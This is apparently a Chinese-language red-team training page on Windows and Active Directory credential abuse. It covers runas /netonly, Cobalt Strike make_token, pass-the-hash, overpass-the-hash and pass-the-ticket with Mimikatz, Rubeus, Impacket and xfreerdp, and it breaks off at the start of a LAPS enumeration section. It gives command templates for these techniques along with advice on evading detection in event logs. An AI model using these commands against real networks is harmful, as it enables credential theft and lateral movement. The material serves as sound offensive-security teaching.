[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/GMlGjNi2VmXfV5bi-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/GMlGjNi2VmXfV5bi-image.png)

#### **有明文密码！**

##### **runas.exe**

Windows 原生程序 runas.exe 可以通过提供额外的凭证来创建进程，例如用户想以另一个账户的身份运行特定进程。runas.exe 默认 (不提供其他选项) 会通过 LSA 验证提供的凭证的正确与否，类似于交互式认证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/qjnHOIipnb3OsnEu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/qjnHOIipnb3OsnEu-image.png)

对本地账户以及域账户都成立。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/ef2N0jJFkhhjkpZU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/ef2N0jJFkhhjkpZU-image.png)

如果没有提供正确的凭证，则会失败。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/2jJu9rC4ViA1AfeL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/2jJu9rC4ViA1AfeL-image.png)

在 Cobalt Strike 中，**runas** 命令则是对 Windows 系统中 runas.exe 的实现。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/u5z0upvv7RkG77Fe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/u5z0upvv7RkG77Fe-image.png)

C# 工具 runascs ([https://github.com/antonioCoco/RunasCs](https://github.com/antonioCoco/RunasCs)) 也有着相似的功能和实现，并且自定义程度更高，用户可以指定登陆类型。例如，指定 **-l** 为 **2**，则是交互式认证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/jfeYCQvxvhUywzdx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/jfeYCQvxvhUywzdx-image.png)

在使用 runas.exe 以 **white-bird\\condrey** 身份创建的 **cmd.exe** 进程以及使用 runascs.exe 以 wanh 身份创建 cmd.exe 进程后，我们可以用之前的脚本命令发现新增了用户的登陆会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/dKBmTAsLfeqKUZv4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/dKBmTAsLfeqKUZv4-image.png)

##### **runas.exe /netonly**

runas.exe 程序有着 **/netonly** 的选项，它告诉 runas.exe 这个指定的凭证仅用于远程访问，而 LSA 并不会验证凭证的正确与否，也就是即便输入错误的凭证也不会有报错信息。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/dsWFC98OgxCwaRCD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/dsWFC98OgxCwaRCD-image.png)

指定了 **/netonly** 选项后，假设提供的凭证是有效的，那么新的进程在**本地层面**保持原来的身份，但在**网络层面**却是新的身份，即有着 **2 个不同的安全上下文**。**prod\\john** 对于 **Srv01** 具有 **WinRM** 访问。通过 /netonly 创建的新 **powershell.exe** 进程中，我们发现身份还是 **prod\\alice**，但如果使用 john 的访问在 Srv01 上远程执行命令，身份则是 **john** 了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Iye9koeSKz1rPTPx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Iye9koeSKz1rPTPx-image.png)

runas.exe 的实现使用的是 **CreateProcessWithLogonW** API，即以提供的凭证的安全上下文创建新的进程。/netonly 选项使用了 **LOGON\_NETCREDENTIALS\_ONLY** 登陆选项，**创建和使用新的登陆会话**，但是**令牌还是原来的**。

```c++
BOOL CreateProcessWithLogonW(
  [in]                LPCWSTR               lpUsername,
  [in, optional]      LPCWSTR               lpDomain,
  [in]                LPCWSTR               lpPassword,
  [in]                DWORD                 dwLogonFlags,
  [in, optional]      LPCWSTR               lpApplicationName,
  [in, out, optional] LPWSTR                lpCommandLine,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCWSTR               lpCurrentDirectory,
  [in]                LPSTARTUPINFOW        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
```

##### **make\_token**

多个 C2 工具中都有着类似于 **make\_token** 功能的命令，Cobalt Strike 自然也是有这样的功能和命令的。make\_token 允许我们在知道其他用户明文密码的情况下模仿他们，调用的是 **LogonUserA** API。

```c++
BOOL LogonUserA(
  [in]           LPCSTR  lpszUsername,
  [in, optional] LPCSTR  lpszDomain,
  [in, optional] LPCSTR  lpszPassword,
  [in]           DWORD   dwLogonType,
  [in]           DWORD   dwLogonProvider,
  [out]          PHANDLE phToken
);
```

LogonUserA 相比 CreateProcessWithLogon 更好的地方在于，我们可以在**不创建新的进程**的情况下创建新的**登陆会话**/**令牌对**，并且可以指定不同的登陆类型 (在调用 LogonUserA 获得令牌后，可以创建新的进程)。Cobalt Strike 中的 make\_token 使用的是 **LOGON32\_LOGON\_NEW\_CREDENTIALS** 登陆类型，与 **runas.exe /netonly** 一致、

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/zmzWu5G8MFJW0mfj-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/zmzWu5G8MFJW0mfj-image.png)

调用该 API 得到的令牌可以被传递给 **ImpersonateLoggedOnUser** API，这允许调用的线程模仿令牌的上下文 (被模样的用户的上下文)。

```c++
BOOL ImpersonateLoggedOnUser(
  [in] HANDLE hToken
);
```

当不需要模仿的时候，使用 rev2self 命令退出。

```c++
BOOL RevertToSelf();
```

总之，在**高完整度**下，操纵令牌是容易的，我们可以做这些事情：**窃取系统内的任何令牌**、**注入到任何进程**、**将窃取的令牌应用于当前的上下文**、**用窃取的凭证创建新的进程**。如果是低完整度下，我们**不能使用令牌创建新的进程** (**CreateProcessAsUser** 或**CreateProcessWithToken** API 需要管理员特权)，因此考虑内联执行，例如 BOF。

#### **有 NT 哈希！**

如果我们没有明文密码，只有 NTLM 哈希呢？如何实现用户模仿？可惜的是，Windows 没有这样的认证功能，没有 LogonUserWithHash 或者 CreateProcessWithHash API。如果我们想通过 LSA 来利用哈希，我们需要与 LSASS 进程打交道。LSASS 存储着所有登陆会话以及缓存凭证，需要高权限，而且还很有风险。

但我们其实也不必依赖于 LSA，这不局限于有 NTLM 哈希，包括有明文密码或者其他类型的凭证。我们可以使用对 NTLM 或者 Kerberos 有原生支持的工具。

##### **与 LSA 交互**

Mimikatz 可以用来完成基于 LSA 的哈希传递。换句话说，哈希传递也可以不必依赖于 LSA。Mimikatz 可以使用 NTLM 哈希而非明文密码来创建进程，通过向 lsass 进程注入数据实现。因为需要修改 lsass 进程，自然需要高权限。

在 **Web02** 上，任何目前可用的令牌都不足以访问 **Dc05**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Qp2zKUG2qSs9QNhk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Qp2zKUG2qSs9QNhk-image.png)

在 SYSTEM 权限下，使用 mimikatz 的 PTH 命令

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/jEXMwUdfy1VTHKsd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/jEXMwUdfy1VTHKsd-image.png)

我们可以看到现在 lsass.exe 进程是 **RW** 权限了。这个命令将新凭证通过**命名管道**传递，然后 Beacon 再模仿它。

Mimikatz 的 PTH 相当于提供哈希而非明文密码版本的 runas.exe /netonly。先通过 **CreateProcessWithLogon** API 创建新的进程，其中使用的是 **LOGON\_NETCREDENTIALS\_ONLY** 登陆选项。然后，识别出新创建的登陆会话，将**凭证内容**填充到**目标的登陆会话**中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/b1hoRPm2FZi9ICgm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/b1hoRPm2FZi9ICgm-image.png)

现在，我们可以访问 Dc05 了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/9RaO0B8zbWzR5kUT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/9RaO0B8zbWzR5kUT-image.png)

用图来显示普通认证流程以及 Mimikatz 的 PTH 的话，如下所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/bFSpeXVEcUUQJX75-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/bFSpeXVEcUUQJX75-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/mXQj2mLrrsYnFV8B-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/mXQj2mLrrsYnFV8B-image.png)

##### **不与 LSA 交互**

不与 LSA 交互的 PTH 则就简单多了，只需要找到原生支持我们想要使用的协议的工具即可，例如 Impacket，CrackMapExec 等，而不需要与复杂的 Windows 组件打交道。

如果是 **NTLM** 协议：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/U0wa1ZE0lgLCZ93l-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/U0wa1ZE0lgLCZ93l-image.png)

如果是 **Kerberos** 协议，我们可以使用 Rubeus 或者 Impacket，这类工具可以产生获得 TGT/TGS 的 Kerberos 原始流量。至于如何利用得到的票据，我们下文就说。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/MyfPX5xXnkkrPhDd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/MyfPX5xXnkkrPhDd-image.png)

####   


#### **有 Kerberos 票据！**

虽然 Windows 没有基于 NTLM 哈希的认证功能，但对于 Kerberos 票据是有的。我们同样可以选择与 LSASS 交互，或者不与 LSASS 交互。

##### **与 LSA 交互**

我们可以将票据导入到存在的登陆会话中。将票据导入到**当前的会话**中不需要特权，而导入到**其他会话**中则需要特权。

假如我们已经得到或伪造了其他用户的 Kerberos 票据，并且打算使用它们。**PTK**，即**票据传递**是将这样的票据导入到**攻击者所控制的登陆会话**的技术，这使得我们可以在网络中模仿受害者。如果导入了一张 TGT 到现有会话中，那么原来的会被覆盖。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/jI2CkzIYBf7bGOZP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/jI2CkzIYBf7bGOZP-image.png)

Rubeus 的 **PTT** 命令正是这样的原理

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/VrmcuQHtckJsnknx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/VrmcuQHtckJsnknx-image.png)

Cobalt Strike 的命令 **kerberos\_ticket\_use** 具有同样作用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/HMS318Ou9VfZgerM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/HMS318Ou9VfZgerM-image.png)

这项技术的实现，是使用了 **LsaCallAuthenticationPackege** API。这个 API 使得应用程序可以与 Windows AP 进行对话

```c++
NTSTATUS LsaCallAuthenticationPackage(
  [in]  HANDLE    LsaHandle,
  [in]  ULONG     AuthenticationPackage,
  [in]  PVOID     ProtocolSubmitBuffer,
  [in]  ULONG     SubmitBufferLength,
  [out] PVOID     *ProtocolReturnBuffer,
  [out] PULONG    ReturnBufferLength,
  [out] PNTSTATUS ProtocolStatus
);
```

总之，如果使用**与 LSA 交互**的方法导入票据，我们可以在**低权限**的情况下将票据导入到**当前会话**。可以是使用 **make\_token** 创建并模仿一个**新的登陆会话**，导入票据以防止覆盖原有的 TGT。在 alice 会话的 file01 Beacon 中，我们使用 make\_token 命令创建并模仿一个新的登陆会话，密码不需要是有效的。此时，这个新登陆会话的还不存在任何票据，我们使用 **kerberos\_ticket\_use** 导入 white-bird\\administrator 的票据，发现可以访问 Dc05 了。如果使用 **rev2self** 退出模仿，便不能访问了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/BFHkgSJunkUwAfmS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/BFHkgSJunkUwAfmS-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Wcb3rDAR1AK3B99J-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Wcb3rDAR1AK3B99J-image.png)

或者在**高权限**的情况下，先**创建一个牺牲进程**用来导入票据，因为一个登陆会话每次只能持有 **1** 张 TGT，在当前会话导入 TGT 可能导致认证紊乱。将票据导入到该牺牲会话之后，**窃取令牌**或者在该进程**注入载荷**。

目前，我们在 Web02 上不能访问 Dc05 (清除了现有票据以避免干扰)。使用 **createnetonly** 命令创建一个新的隐藏进程，我们可以看到新的会话 ID 以及进程 ID。但目前这个会话里还没有 TGT。我们还指定了**域名**、**帐号**、**密码**(不会被验证)，这是为了在日志中看起来更加清白，毕竟 Rubeus 随机生成的这些数据会成为嫌疑。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/X6xiH77d3lWLyOww-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/X6xiH77d3lWLyOww-image.png)

因此，我们导入 Administrator 的 TGT，指定**目标 LUID**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/ks7VTDnM7EmIVHkt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/ks7VTDnM7EmIVHkt-image.png)

**窃取令牌**后，方可访问了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/BEXzQVVaFu6nPpyQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/BEXzQVVaFu6nPpyQ-image.png)

##### **不与 LSA 交互**

我们可以用 Impacket 之类的工具来使用得到的票据。我们可以使用 Impacket 中的 **ticketConverter** 将票据在 **kirbi** 格式与 **ccache** 格式直接互相转换。在 Linux 端，所接受的格式是 ccache，我们需要设置 **KRB5CCNAME** 环境变量指向该 ccache 票据。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/PiPOczMaUKeewBR8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/PiPOczMaUKeewBR8-image.png)

# 哈希传递 Pass The Hash

Pass The Hash，即哈希传递，是一种可以让我们使用 NTLM 哈希对 Windows 服务进行认证，而无需明文密码的技术。在上一个小节，我们讨论了如果**只有 NTLM 哈希**，要实现**用户模仿**该怎么做的时候有提到 PTH，在这一小节我们继续延伸和补充一下。

我们之前讲过 **NTLM 认证**的步骤，让我们再来回顾一下：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/DWcjlqWIdXXrcPrU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/DWcjlqWIdXXrcPrU-image.png)

哈希传递认证可以跳过上图中的**第一步**，通过使用例如 Mimikatz 之类的工具实现。需要注意的是，哈希传递攻击仅可以用于 **NTLM 认证**，而**非 Kerberos 认证**。一些安全工具，例如 Impacket, 不仅可以通过 PTH 认证，而且还可以实现代码执行，而这之后的原理则是攻击者通过 SMB 协议使用 NTLM 哈希连接目标服务器。大部分工具通过 **Service Control Manager** API 开启一个新的 Windows 服务并且通过**命名管道**来通信。这项技术需要与目标 SMB 服务的连通，并且可以访问目标主机的 **ADMIN$** (在 **ADMIN$** 中写入一个服务二进制文件)，这意味着需要**本地管理员权限**。接下来，我们来看看常见的 PTH 用法。

### **接触 LSASS**

##### **Mimikatz 的 PTH**

我们可以通过以下命令创建一个新的**牺牲会话**，并用我们提供的**帐号**、**NTLM 哈希**、**域信息**来替换占位符信息。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/i6hTx0IYDyzuSxST-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/i6hTx0IYDyzuSxST-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/HdhTjSG8zvFf0a0f-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/HdhTjSG8zvFf0a0f-image.png)

该方法需要**本地管理员特权**，并且该操作会与 LSASS 交互，而且如果 PPL 启用的话，也会失败。

```
 sekurlsa::pth /user:<用户名> /domain:<域> /ntlm:<ntlm> 
```

**执行该命令需要本地管理员特权，但被认证的用户不需要有本地管理员权限。**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Pa8fWvsdfmyowkOI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Pa8fWvsdfmyowkOI-image.png)

#####   


### **不接触 LSASS**

##### **Impacket 之 psexec**

如上文所说，psexec不仅可以通过 PTH 认证，还能实现远程代码执行。原理则是通过 SMB 服务进行认证，在目标的 **ADMIN$** 上传**服务二进制文件**，再通过 **SCM** 创建新的服务并获得 shell。需要目标用户对目标主机具有**本地管理员**特权。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/i7z4queQBSFOWhzu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/i7z4queQBSFOWhzu-image.png)

在 psexec 的**日志信息**中，我们可以窥探到中间的过程。

##### **Impacket 之 mssqlclient**

Impacket 不仅可以协助我们通过 PTH 认证获得远程代码执行，但是我们也可用于访问特定服务，例如 MSSQL。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Jgnxs6LMlUYPVQsq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Jgnxs6LMlUYPVQsq-image.png)

##### **Impacket 之 secretdump**

除此之外，PTH 还可以通过 Impacket 来远程导出目标主机的凭证，包含 SAM 数据库、域缓存凭证、DPAPI、LSA 机密等内容。原理为在认证之后通过操纵**远程注册表**来进行凭证导出操作，需要认证用户具有**本地管理员**权限。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/NhmmReZLIq9v7ChD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/NhmmReZLIq9v7ChD-image.png)

##### **CrackMapExec 中各项功能**

除了 Impacket 外，我们之前提到过 CME ([https://github.com/Porchetta-Industries/CrackMapExec](https://github.com/Porchetta-Industries/CrackMapExec)) 也是一款内网渗透瑞士军刀，其功能越发丰富和完整。CME 可以用于 AD 枚举与利用、密码喷洒、权限确认 (例如该用户对目标主机是否具有 WinRM 访问权)、代码执行等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/n6njyctkdRQyouNB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/n6njyctkdRQyouNB-image.png)

##### **xfreerdp 的 PTH 认证**

我们甚至可以通过 PTH 来访问远程主机的 RDP 服务，这里我们需要用到工具 xfreerdp。

```shell
xfreerdp /v:<IP> /u:<用户名> /d:<域名 FQDB> /pth:<哈希> /dynamic-resolution 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/1Aga8XjY78KHtuYa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/1Aga8XjY78KHtuYa-image.png)

然而，我们会得到这样的报错：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/uhtY6g6oMlmWQ3dK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/uhtY6g6oMlmWQ3dK-image.png)

因此，我们需要开启受限管理模式。**受限管理模式**，即 Restricted Admin，可以防止用户通过 RDP 访问目标主机后，在目标主机上留下凭证 (NTLM哈希)。在受限管理模式下，用户使用的是**网络认证**而非**交互式认证**。我们可以通过以下 Powershell 命令取消禁用受限管理模式 (即开启)。

```powershell
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
```

 [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/3Hq4gG7EN6sx3O3s-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/3Hq4gG7EN6sx3O3s-image.png)

然后，我们就可以通过 xfreerfp 使用 PTH 访问 RDP 服务了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/NJMUhNZJd8ZURmIt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/NJMUhNZJd8ZURmIt-image.png)

当然，因为在受限管理模式下，RDP 是通过网络认证访问，我们也可以在 Mimikatz 中 直接进行 PTH 认证后通过网络认证访问 RDP 服务。

```
sekurlsa::pth /user:<用户> /domain:<域 FQDN> /ntlm:<NTLM 哈希> /run:"mstsc.exe /restrictedadmin"
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/S67E1w5sh1DN8EgI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/S67E1w5sh1DN8EgI-image.png)

# 密钥传递 Overpass The Hash / Pass The Key

Overpass The Hash，又称为 **Pass The Key**，**密钥传递**，是 PTH 的一种延伸，我们通常在 NTLM 认证被禁用、只有 Kerberos 认证可用的情况下使用。相比与 PTH 直接用 NTLM 哈希进行认证，OTH 认证通过目标用户的 **NTLM 哈希** 或者 **AES 密钥**申请对应的 TGT 或者 TGS，从而访问相应的主机或者服务。

AES 密钥是什么呢？我们在 mimikatz 终端里执行命令 **sekurlsa::ekeys**，我们可以提取出 AES 密钥。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/PZDs0Omr7Lj6M6WA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/PZDs0Omr7Lj6M6WA-image.png)

在申请 TGT的时候，我们可以使用工具 Rubeus 来帮助我们实现

```powershell
Rubeus.exe asktgt /user:<用户名> /domain:<域名fqdn> /aes256:<aes 密钥> /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/D7vmZydfmbZ1OfbQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/D7vmZydfmbZ1OfbQ-image.png)

需要注意的是，从技术上来说，**/aes256** 也可以替换成 **/rc4**，即 **NTLM 哈希**。但是，请求 TGT 会产生 **4768 事件**，并且我们会看到 密钥类型是**RC4-HMAC (0x17)**，但是如今 Windows 系统中的默认密钥类型是 **AES256 (0X12)**。因此，我们依旧选用 **AES256**，可以使我们的活动被正常操作所淹没。

# 票据传递 Pass The Ticket

票据传递技术类似于密钥传递技术，只不过相比使用密钥，用的是票据。在讲解 PTT 之前，我们先来了解一下在 Windows 与 Linux 平台上有关域凭证的文件，它们可以通过工具实现互相转换。

##### **kirbi**

我们通过 Mimikatz 或者 rubeus 请求与导出的 TGT 或者 TGS票据格式为 kirbi。对于 Mimikatz，我们可以使用命令 **sekurlsa::ticket /export** 导出所有票据，格式为 kirbi。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/EmMio6bmYavaJ3lO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/EmMio6bmYavaJ3lO-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/xp8V4g0jHQXlRGPr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/xp8V4g0jHQXlRGPr-image.png)

 如果使用 Rubeus，可以使用 **rubeus.exe dump** 命令导出目前所有票据。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/gjIuxc4iAT6q2pqL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/gjIuxc4iAT6q2pqL-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/E7TNOmqICupgDmVD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/E7TNOmqICupgDmVD-image.png)

当然，我们可以指定导出哪些票据。先通过 r**ubeus.exe triage** 命令查看当前所有的登陆会话以及对应的票据，再通过 **/luid** 参数指定要导出票据的登陆会话。

```powershell
rubeus.exe triage
rubeus.exe dump /luid:<登陆会话 ID> /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/H1ZyA4sq0rEO01jA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/H1ZyA4sq0rEO01jA-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/vEwihfS7zYcCWrn1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/vEwihfS7zYcCWrn1-image.png)

至于将文本保存为 kirbi 文件，在Windows端，我们可以通过如下的 Powershell 命令保存 kirbi 文件。在 Linux 端，我们可以通过命令 **echo '&lt;ticket&gt;' | base64 -d &gt; example.kirbi** 实现。

```powershell
[System.IO.File]::WriteAllBytes("<目标地址>", [System.Convert]::FromBase64String("<票据>"))
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/j3MlBwCZLp6p9Dbw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/j3MlBwCZLp6p9Dbw-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/i8Zt7hEviHjSFgna-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/i8Zt7hEviHjSFgna-image.png)

##### **ccache**

在 Linux端，如果 Linux 主机上有活跃的会话，那么在 **/tmp** 目录下会产生该用户的凭证缓存文件，Credential Cache，即 ccache 文件，格式为 krb5cc\_xxx，例如krb5cc\_1394201122\_MerMmG。ccache 文件中保存了该用户的**票据信息**，例如 TGT，TGS 等。在 Linux 域主机上，环境变量 **KRB5CCNAME** 指向了票据的地址，以获得域用户的上下文。我们也可以通过命令 **export KRB5CCNAME=&lt;ccache 文件地址&gt;** 来手动更改环境变量。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/moYentOKoUXY3azT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/moYentOKoUXY3azT-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/nej5fZu90BYVN0UV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/nej5fZu90BYVN0UV-image.png)

我们可以通过 Impacket 的 **ticketConverter** 脚本将票据在 **ccache** 与 **kirbi** 形式中互相转换。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/llUnLQr5okN9IOcK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/llUnLQr5okN9IOcK-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/aTv1iApduTlpmtG1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/aTv1iApduTlpmtG1-image.png)

ccache 文件仅对应域用户以及 **root** 用户可读。如果作为活跃用户，我们可以通过 **kinit** 申请新的 TGT，以及通过 **kvno \[SPN\]** 申请新的 TGS。

##### **keytab**

keytab 文件包含 **Kerberos 主体名称**和**凭证**，例如NTLM哈希。我们在之前提到过可以使用脚本 ([https://github.com/sosdave/KeyTabExtract](https://github.com/sosdave/KeyTabExtract)) 从中提取 **NTLM** 或者 **AES256** 凭证，那么在此基础上我们想要获得其他格式的票据自然不是难事。每台 Linux 域计算机的 **/etc/krb5.keytab** 文件是其 keytab 文件，默认情况下可由 root 访问。

类似于 PTH，一些工具例如 Impacket 支持直接使用 keytab 进行认证。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-10/scaled-1680-/VPxW683nY4KjT1YL-image.png)](http://raven-medicine.com/uploads/images/gallery/2022-10/VPxW683nY4KjT1YL-image.png)

好了，在了解了以上几种凭证文件类型后，我们来讨论如何利用及导入票据。

##### **Windows 端票据传递**

在 Windows 端，我们主要可以使用 Mimikatz 以及 Rubeus 等工具来导入票据。Cobalt Strike 则支持 **kerberos\_ticket\_use** 或 **kerberos\_ccache\_use** 命令来实现。

在 CobaltStrike 中通过 **make\_token** 命令生成一个**牺牲会话**，然后导入要传递的票据。至于创建一个牺牲会话后再导入凭证，原因在 Windows 认证原理小节中有提过，新导入的 TGT 会**替换原有的**，可能导致**认证紊乱**，而新创建的牺牲会话中尚无 TGT。

然后，我们能在其他主机上以 **white-bird\\serveradm** 身份顺利访问 Web02 的 **C$**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/kt1A1QMrjJoDY9uq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/kt1A1QMrjJoDY9uq-image.png)

##### **Linux 端票据传递**

而在 Linux 端传递票据的话，我们先需要将 kirbi 文件转换为 ccache 格式，然后设置 **KRB5CCNAME** 环境变量，之后就可以使用票据认证了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/mdAWgS51eJLaPx0o-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/mdAWgS51eJLaPx0o-image.png)

# LAPS 本地管理员密码解决方案

为了进一步保护本地管理员的凭证，本地管理员密码解决方案 (LAPS) 是一种用于管理域主机上的**本地管理员凭证**的解决方案。 本地管理员帐户可以是**默认帐户**或**自定义帐户**。部署 LAPS 后，密码是随机的、自动更改的，并且与其他帐户的密码不同。在域计算机上安装 LAPS 后，计算机会多出两个属性 **ms-mcs-AdmPwnExpirationTime** 和 **ms-msc-AdmPwd**，分别是**过期时间**和**明文密码**。 LAPS 通过域中的 GPO **LAPS** 进行管理。 域管理员对 ms-msc-AdmPwd 属性具有读取权限，但可以将读取权限委派给其他主体，如特定域用户或组。从系统管理员的角度，我们可以在 DC 上查看最新的LAPS密码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/hT9Y9xmeEMuKF6j4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/hT9Y9xmeEMuKF6j4-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/sSHOnh66xLoderWO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/sSHOnh66xLoderWO-image.png)

### **枚举**

在 RAVEN-MED 域中，LAPS 有为一些域主机 (其实也就 1 台 域主机) 安装。我们导入 powerview 脚本，执行以下命令：

```powershell
